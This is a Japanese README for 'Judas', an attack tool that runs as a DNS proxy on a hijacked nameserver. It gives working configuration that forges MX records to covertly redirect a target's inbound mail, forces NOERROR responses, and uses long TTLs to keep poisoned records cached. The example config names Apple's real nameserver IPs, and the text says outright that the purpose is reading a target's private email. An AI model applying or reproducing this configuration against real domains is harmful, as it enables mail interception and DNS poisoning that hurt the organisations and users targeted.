,,
`7MMF' `7MM `7MM"""Yb. `7MN. `7MF'.M"""bgd
MM MM MM `Yb. MMN. M ,MI "Y
MM `7MM `7MM ,M""bMM ,6"Yb. ,pP"Ybd MM `Mb M YMb M `MMb.
MM MM MM ,AP MM 8) MM 8I `" MM MM M `MN. M `YMMNq.
MM MM MM 8MI MM ,pm9MM `YMMMa. MM ,MP M `MM.M . `MM
(O) MM MM MM `Mb MM 8M MM L. I8 MM ,dP' M YMM Mb dM
Ymmm9 `Mbod"YML.`Wbmd"MML.`Moo9^Yo.M9mmmP' .JMMmmmdP' .JML. YM P"Ybmmd"
ネームサーバDNSポイズニング攻撃を簡単に
乗っ取ったネームサーバの代わりに展開するよう設計されたDNSプロキシサーバで、標的型の悪用を可能にします。JudasはすべてのDNSクエリをドメインの正規ネームサーバにプロキシします。Judasのルール設定によって、送信元IPやDNSクエリタイプに応じてDNS応答を変更できるのが強みです。これにより攻撃者は、特定の送信元IP範囲からのインバウンドメールを（MXレコードの変更によって）選択的に再ルーティングしたり、ポイズニングしたレコードをキャッシュに長く残すために極端に長いTTLを設定したり、その他の操作が可能な悪意のあるネームサーバを構成できます。
ネームサーバの乗っ取りとDNSハイジャックの詳細については、次のブログ記事をご覧ください：「Respect My Authority – Hijacking Broken Nameservers to Compromise Your Target」。
以下は、攻撃者がAppleの権威ネームサーバ（apple.com 用）の1つを侵害/乗っ取った場合のJudasの設定例です。
{
"version": "1.0.0",
"port": 2248,
"dns_query_timeout": 10000,
"target_nameservers": [ "17.254.0.59", "17.254.0.50", "17.112.144.50", "17.112.144.59", "17.171.63.30", "17.171.63.40", "17.151.0.151", "17.151.0.152" ],
"rules": [
{
"name": "127.0.0.1からのすべてのメールを秘密裏にリダイレクト！",
"query_type_matches": [ "MX" ],
"ip_range_matches": [ "127.0.0.1/32" ],
"modifications": [
{
"answer": [
{
"name": "apple.com",
"type": 15,
"class": 1,
"ttl": 10,
"priority": 10,
"exchange": "hacktheplace.localhost"
}
]
}
]
},
{
"name": "失敗してもすべての応答をNOERRORにする。",
"query_type_matches": [ "*" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
]
}
上記の各設定値の目的は次のとおりです。
version: 設定ファイルのフォーマットバージョン（現時点では常に 1.0.0）。port: Judasが使用するポート。dns_query_timeout: 上流のターゲットネームサーバからの応答を待つ最大時間（ミリ秒）。target_nameservers: ターゲットドメインの正規ネームサーバ。JudasはすべてのDNSクエリをここに送信します（要求元クライアントの代わりに）。rules: 一致した場合にDNS応答に変更を適用するルールのリスト。
name: ルールの名前。query_type_matches: 一致させるクエリタイプのリスト（例：CNAME、A など）。ワイルドカード（*）を指定すると、すべてのクエリタイプに一致します。ip_range_matches: 一致させるIP範囲のリスト。特定のIP範囲に対する応答を選択的に偽装するために使用します。modifications: このREADMEの「変更」セクションを参照してください。Judasのルールには modifications 指定があり、クライアントに応答を返す前にDNS応答に施すさまざまな変更のリストとして設定します。DNS応答構造を理解して変更できるよう、node-dnsのドキュメントを読むことが重要です。
DNS応答フォーマットの例は次のとおりです。
{ header:
{ id: 25373,
qr: 1,
opcode: 0,
aa: 1,
tc: 0,
rd: 1,
ra: 0,
res1: 0,
res2: 0,
res3: 0,
rcode: 5 },
question: [ { name: 'apple.com', type: 2, class: 1 } ],
answer:
[ { name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver2.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver4.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver3.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver5.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver6.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'adns2.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'adns1.apple.com' } ],
authority: [],
additional: [],
edns_options: [],
payload: undefined,
address: undefined,
...簡略化のため省略...
(DNS応答データ構造の詳細については、このドキュメントを参照してください。)
変更の記述は非常に簡単です。以下に変更を含むルールの例を示します。
{
"name": "失敗してもすべての応答をNOERRORにする。",
"query_type_matches": [ "*" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
このルールは、任意のクエリタイプに一致し（ワイルドカード * による）、DNS応答の header.rcode 値を 0 に設定します。変更要素として設定されたオブジェクトはDNS応答にマージされ、元の値を置き換えます。
もう1つの例を以下に示します。
{
"name": "127.0.0.1からのすべてのメールを秘密裏にリダイレクト！",
"query_type_matches": [ "MX" ],
"ip_range_matches": [ "127.0.0.1/32" ],
"modifications": [
{
"answer": [
{
"name": "apple.com",
"type": 15,
"class": 1,
"ttl": 10,
"priority": 10,
"exchange": "hacktheplace.localhost"
}
]
}
]
}
このルールは 127.0.0.1 からの MX クエリに一致します。DNS応答のanswerは hacktheplace.localhost の単一のMXレコードで上書きされます。実際の悪用では、特定のIPからのインバウンドメールをリダイレクトして、ターゲットのプライベートメールを読み取るために使用します。また、実際のシナリオでは、攻撃者は応答のTTLを非常に高い値に変更して、悪意のあるレコードをクライアントのDNSキャッシュに可能な限り長く保持させることもあります。
次のルールはクライアントのIPアドレスに一致します。
{
"name": "localhost (127.0.0.1) からのすべての応答をNOERRORにする。",
"ip_range_matches": [ "127.0.0.1/32" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
ip_range_matches フィールドには、応答変更を適用する対象範囲を指定するIP範囲の配列を設定します。このフィールドを省略するとワイルドカードと等価になり、すべてのクライアントIPアドレスに一致します。
次のルールは MX および CNAME のクエリタイプに一致し、それに応じて応答変更を適用します。
{
"name": "失敗してもすべての応答をNOERRORにする。",
"query_type_matches": [ "MX", "CNAME" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
query_type_matches フィールドには、一致させるクエリタイプの配列を設定します。このフィールドを省略するとワイルドカードと等価になり、すべてのクエリタイプに一致します。
次のルールは NXDOMAIN の応答コードに一致し、それに応じて応答変更を適用します。
{
"name": "localhost (127.0.0.1) からのすべての応答をNOERRORにする。",
"response_code_matches": [ "NXDOMAIN" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
response_code_matches フィールドには、一致させる応答コードの配列を設定します。このフィールドを省略するとワイルドカードと等価になり、すべてのRCODEタイプに一致します。